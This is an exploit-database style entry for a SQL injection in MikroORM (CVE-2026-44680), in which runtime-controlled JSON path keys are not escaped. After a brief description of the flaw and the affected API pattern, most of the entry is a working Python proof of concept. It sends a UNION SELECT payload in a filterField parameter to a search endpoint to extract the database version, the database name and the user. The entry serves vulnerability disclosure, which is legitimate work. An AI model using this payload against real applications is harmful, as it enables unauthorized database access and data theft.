📄 MikroORM 7.0.13 SQL Injection

# Exploit Title: MikroORM   7.0.13 - SQL Injection 
    # Google Dork: N/A
    # Date: 2026-05-27
    # Exploit Author: cardosource
    # Vendor Homepage: https://mikro-orm.io/
    # Software Link: https://github.com/mikro-orm/mikro-orm
    # Version: @mikro-orm/knex <= 6.6.13 / @mikro-orm/sql <= 7.0.13
    # Tested on: Docker / Debian Bookworm / Node.js 18 / MariaDB 10.x
    # CVE: CVE-2026-44680
    # Advisory: https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp
    
    """
    Description:
    The vulnerability exists because MikroORM fails to properly escape
    runtime-controlled JSON path keys when building JSON_EXTRACT queries.
    
    The attacker can break out of the JSON path context and inject arbitrary SQL.
    
    Affected API pattern:
    
    em.find(Entity, {
        jsonColumn: {
            [userControlledKey]: value
        }
    })
    
    
    By injecting crafted JSON-path keys, it becomes possible to execute
    UNION SELECT statements and extract arbitrary database information.
    """
    
    import requests
    import json
    
    url = "http://localhost:3000/api/users/search"
    
    payload = {
        "filterField": "$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment -- ",
        "filterValue": "x"
    }
    
    headers = {
        "Content-Type": "application/json"
    }
    
    response = requests.post(url, json=payload, headers=headers)
    
    print(f"Status: {response.status_code}")
    print(json.dumps(response.json(), indent=2))